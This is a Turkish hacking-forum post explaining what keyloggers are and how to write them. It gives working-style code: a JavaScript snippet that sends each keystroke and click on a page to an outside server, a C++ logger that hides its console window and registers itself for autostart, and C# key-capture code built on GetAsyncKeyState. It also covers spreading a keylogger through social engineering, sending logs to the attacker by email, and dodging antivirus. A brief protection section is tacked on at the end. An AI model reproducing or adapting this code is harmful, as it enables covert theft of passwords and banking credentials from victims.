Keylogger Nedir ve Nasıl Yazılır?

noktalıvirgül

Deneyimli Moderatör
17 Kas 2020
924
513
Keylogger, klavyedeki tuş vuruşlarını kaydeden ve bu kayıtların verileri ele geçirmek isteyen kişilere gönderen yazılım veya donanım parçasıdır. Key sözcüğü, bilgisayar kavramları içerisinde düşünüldüğünde “tuş” anlamına gelir. Logg ise “kayıt” anlamını taşır.

Keylogger yazılımlarına birkaç örnek şöyledir:


  • Sourceforge Keyloger
  • DanuSoft Free Keyloger
  • Actual Keyloger
  • Sprix Keyloger
  • Kidlogger Free
  • I want soft
  • Revealer Keyloger
  • Refog Personal Monitor
  • Ardamax Keyloger
  • Report Viewer
  • KidInspector
  • iSpyNow
  • Perfect Keylogger
  • Phantom
-

Keylogger’lar yazılımsal da donanımsal da olabilmektedir.

Yazılımsal Keylogerlar: Sisteme yüklenerek hemen aktif hale gelebilen tuş takip programlarıdır. Tuşlanan verilerin dosyaya kaydedilmesini sağlar. Kötü niyetli kişiler tarafından yazılan ve sistemlerin güvenlik açıklarından veya kullanıcının dikkatsizliğinden yararlanarak hedef cihazın takip edilmesini sağlayan programlardır. Ayrıca bu programlar kullanıcı tarafından da cihaza yüklenebilir veya aparat cihaza takılabilir, örneğin; bir öğrenci velisinin cihaz ile yapılanları takip etmek için bu yazılımları kullanma durumu olabilir.

Donanımsal Keylogerlar: Bilgisayara eklenmesiyle aktif hale gelerek tuş takibi yapan donanım parçasıdır. Tuşlanan verileri bellek kartına otomatik olarak kaydeder. Fark edilmesi zor bir aparattır. Cihaza fiziki olarak ulaşabilen kötü niyetli kişiler için biçilmez kaftandır.

Sisteme Nasıl Bulaşırlar?

Bir programın içine keylogger gömülerek hedef cihazda çalıştırılabilmektedir. En çok tercih edilen yöntemlerden biri mesajlaşma programlarıdır. Ayrıca e-posta, metin belgesi, P2P ağlarda yapılan veri paylaşımları da kullanılabilir. Bu yollardan herhangi biriyle bir dosya gönderildikten sonra kurbanın dosyayı açıp çalıştırmasıyla keylogger’ın cihaza yerleşip çalışması sağlanabilir. Bundan sonra, kullanıcı klavye tuşlarına her bastığında saldırgan bu hareketleri takip edebilecektir. Bu takibi ve tuş kayıtları, saldırganın belirlediği e-posta adresine, bir dosyaya gönderilebilir, bir web sitede arşivlenebilir veya basılan tuşlar anlık olarak saldırgan tarafından takip edilip direkt saldırı işlemine başlanabilir.
Keylogger, genel anlamda trojan yoluyla, flash bellek vb yolla veya kullanıcının kendisi tarafından bilinçli olarak cihaza yerleştirilebilir.


Bir keylogger uygulaması: Keylogger uygulaması kullanılabilmesi için kullanıcı tarafından e-mail adresi, şifre, log alma süresi (dk), bilgileri ve tarih girilmesi, sonra “Keylogger Oluştur” butonuna basılması gerekir. Böylece seçili dosya dizinine girilen parametrelerle kullanıcı için özel bir .exe dosyası oluşturulmuş olur. Oluşan .exe dosyası, kurban için kullanılacaktır. Örneğin sosyal mühendislik yöntemiyle veya cihaza fiziki olarak ulaşılabiliyorsa, flash bellek, CD, hafıza kartı vs ile cihaza indirildikten sonra .exe dosyasına çift tıklanarak çalışması sağlanır.Uygulama çalıştırıldığında bariz olarak bir çalışma belirtisi görülmez, ama çalışmaya bu şekilde başlamış olur. Bundan sonra .exe dosyası silinebilir. Programın çalıştırıldığı bilgisayarda tuş vuruşları kaydı, daha önce arayüzde bilgi olarak girilen e-mail adresine atılır. Oradaki kayıtlara istenildiği zaman bakılabilir. Bu kayıtlarda örneğin; banka hesaplarıyla ilgili mobil uygulama şifresi varsa kurban için bu, çok zor bir durum haline gelmektedir.
Mail ile gönderilen kayıtlar da arayüze girilen dk girdisine göre yani o süreç aralığında tutulur. Ayrıca arayüzde seçilen “kendini silme tarihi”nde ise program kendi kendini silecektir.
Oluşturulan .exe dosyasının adı keylogger yapılmazsa antivirüs programlarının bu dosyaları fark etme ihtimali çok daha düşük olacaktır. çünkü keylogger’lar önemli sistem dosyalarını kullanmaz ve sisteme zarar vermez. Bu yüzden fark edilmesi zordur.

JavaScript ile Bir Keylogger Örneği:
Web sitelerdeki tuş vuruşlarını kaydedebilen bir JavaScript keylogger yazmak zor değildir.
Basit bir JavaScript kodu, kullanıcının web sitesi sayfasında tuş vuruşlarını kaydederek log.txt dosyasına günlük olarak yazabilecektir. Bu kodlara şöyle örnek verilebilir:

Javascript.js

JavaScript:
JavaScript:
<script>
(function(){
var server = http://domain.com/; //enter your page URL
document.addEventListener(“keyup”, function(e){
var x = new XMLHttpRequest();
x.open(“POST”, server, true);
x.send(e.key);
});
Document.addEventListener(“click”, function(e){
var click;
if(e.which == “){
click = “Left Click”;
}else{
Click = “Right Click”;
}
var x = new XMLHttpRequest();
x.open(“POST”, server, true);
x.send(click);
});
})();
</script>
Keylogger programı daha birçok dilde yazılabilir, fakat uzmanlara göre çoğunlukla C++ ve C# ile yazılması daha uygun olmaktadır.

C++ ile klavyeden girilen karakterleri text dosyasına yazdıran ve Windows kapatılıp açıldığında tekrar çalışan, Windows Kayıt Defteri’nden faydalanan ve Kayıt Defteri’ne otomatik başlatılacak program olarak kaydedilen bir programlama algoritması için şu örnek verilebilir:
C++:

C++:
# include <stdio.h>
# include <conio.h>
# include <windows.h>
# include <winuser.h>
# include <iostream.h>

int main ( void )
{
int cha;
char ch;
FILE *fptr; //dosya oluşturuluyor
HWND stealth; //Program çalışırken gözükmemesi için yazılan kod*/
AllocConsole();  // Program her daim klavyeden gelen bilgiyi bu fonksiyon sayesinde alır.*/
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
while(1)
{
if ( kbhit() )
{
ch = getch(); // klavyeden alınan değer ch değişkenine aktarılıyor
cha = ch;  // bu bilgiler integer değerlerine çevriliyor
fptr = fopen("KEYS.TXT", "a+");
fputc(ch,fptr);  // bilgiler keys.txt dosyasına yazılır
fclose(fptr);  // dosya kapatılır.

}
}
}

# include <windows> // bu kütüphane eklenmeli
HKEY hKey; // kayıt oluşturur
LPCTSTR sk = TEXT("path"); // programın olduğu dizini

// kayıt defteri açılır

LONG openRes = RegOpenKeyEx(HKEY_LOCAL_MACHINE, sk, 0, KEY_ALL_ACCESS , &hKey;

//kayıt defterine kaydedilir

LONG setRes = RegSetValueEx (hKey, "herhangi bir isim", 0, REG_SZ, (LPBYTE)data, strlen(data)+1);

LONG closeOut = RegCloseKey(hKey); // kayıt defteri kapatılır
C# ile yapmak gerekirse Visual Studio’da yeni bir Windows Forms Application projesi oluşturulur. Solition Explorer panelinden Form1.cs elementi silinir. Program.cs dosyasındaki Main bloğundaki şu kodlar silinir:
C#:
:
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
Bu şekilde F5 ile proje çalıştırılmak istendiğinde program otomatik olarak kapanır. Bu kapanmaya engel olmak için Main methodu içine sonsuz döngü eklenirse kontrol yapılabilir. Class’ta şöyle bir görünüm olur:
C#:
static class Program
{
[STAThread]
static void Main()
{
while (true)
{

}
}
}

Tuşların Dinlenmesi için:
Proje içine user32.dll içinde GetAsyncKeyState fonksiyonu çağrılmalıdır. Bu fonksiyon, ASCII kodun o an da klavyede basılmış olup olmadığına bakar ve basılıysa -32767 değerini döndürür. Yani short tipi değişkenin alacağı minimum değerin bir fazlasıdır. Dll import etmek için projeye “System.Runtime.InteropServices” (isim uzayı) eklenmeli (İsim uzayı eklenmese bile DllImport ifadesi üzerine fare ile gelindiğinde öneri kısmı gözükecektir.) ve program sınıfının içinde fonksiyon şöyle çağrılmalı:

C#:
C#:
[DllImport(“user32.dll”, CallingConvention = CallingConvention.Cdecl)]
Private static extern int GetAsyncKeyState(long vKey);

Tuş Kontrolü için:
Hangi tuşun basıldığı anlaşılması için, 0-255 arası dönen bir for döngüsü olmalı ve her adımda tuş kontrolünü sayaç (i) ile yapacak ve sonuç istenildiği gibi dönerse döngü sonlanacak.

C#:
for (byte i = 0; i < 255; i++)
{
if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
Debug.WriteLine(i);
break;
}
}

Debug sınıfının kullanılması için projeye “System.Diagnostics” isim uzayı eklenmelidir. Debug esnasında output ekranı görünmüyorsa F5’e tıkladıktan sonra menüden Debug -> Windows -> Output seçenekleri ile açılabilir. Kodlar debug edilirken PInvokeStackImbalance hatası alınırsa menüden Debug -> Exceptions yoluyla açıklan pencerede Managed Debugging Assistans bölümünden PInvokeStackImbalance seçeneğinin onayı kaldırılıp OK’e tıklanır ve proje tekrar çalıştırılır.

Logları Biriktirme / Tutma
Tuş kayıtları tutulması ve biriktirilmesi için sınıf seviyesinde static bir byte list tanımlanmalı. Listelerin kullanılması için projeye System.Collections.Generic isim uzayı eklenmelidir.


C#:
static List<Byte> bytes = new List<Byte>();

if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
bytes.Add(i);
Debug.WriteLine(Encoding.ASCII.GetString(bytes.ToArray()));
break;
}
Bu şekilde encoding sınıf yardımı ile byte listesi diziye çevrilip ASCII karşılıkları yazdırılır. Bu sınıfın kullanılması için projeye System.Text isim uzayı dahil edilmelidir.

Harf Tanıma için:
Tuş kayıtları alınırken karakterlerin ASCII karşılıkları büyük ve küçük harf dikkat edilmeksizin alınır. Caps lock ve Shift tuş durumları kontrol edilip ona göre şekillendirilir.


C#:
if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
int key = ((!Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys == Keys.Shift)) && (i > 64 && i < 91) ? i + 32 : i;
Debug.WriteLine("{0} - {1}", (char)key, key);
break;
}

Burada, basılan tuşu log ekranına yazdıran bölümde tekrar değişiklik yapılabilir. ASCII tabloda büyük harflerin başlangıcı 65, küçük harflerin başlangıcı 97’dir. Yani 65 = A ise 65+32=a karakterini gösterir. Küçük harf yazılması için 2 ihtimal vardır. Ya CAPS LOCK ve SHIFT açık kalmalı ya da ikisi de kapalı olmalıdır. Biri açık olursa büyük harf yazılacaktır.

Genel anlamda bazı örnekler bu şekildedir. Bu yazılımlar, yalnızca saldırı amaçlı değil ayrıca cihazın güvenlik durumunun tespitinde veya ebeveynlerin kontrolü için kullanılabilmekte ve çocukların hangi girişleri yaptıklarını öğrenmek için kullanılabilir. Hatta birinin kişisel bilgisayarını başkaları kullanırken neler yaptıklarının görülmesi veya cihazın izinsiz şekilde kullanılıp kullanılmadığını öğrenmek için de kullanılabilmektedir.

Keylogger’dan Nasıl Korunulur?

İşletim sisteminin güncel kalması önemlidir.

Güçlü, aktif ve güncel bir antivirüs programı kullanmak önlem için gereklidir.

Önemli işlerin her cihazdan ve her ağ’dan yapılmaması gerekir.

Kullanılan internet tarayıcısının (web browser) kullanıcı adı ve parolaların kaydını tutan otomatik tanımlama özelliklerinin kapalı veya kutucuğunun işaretsiz olması da önemlerden biri olacaktır.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.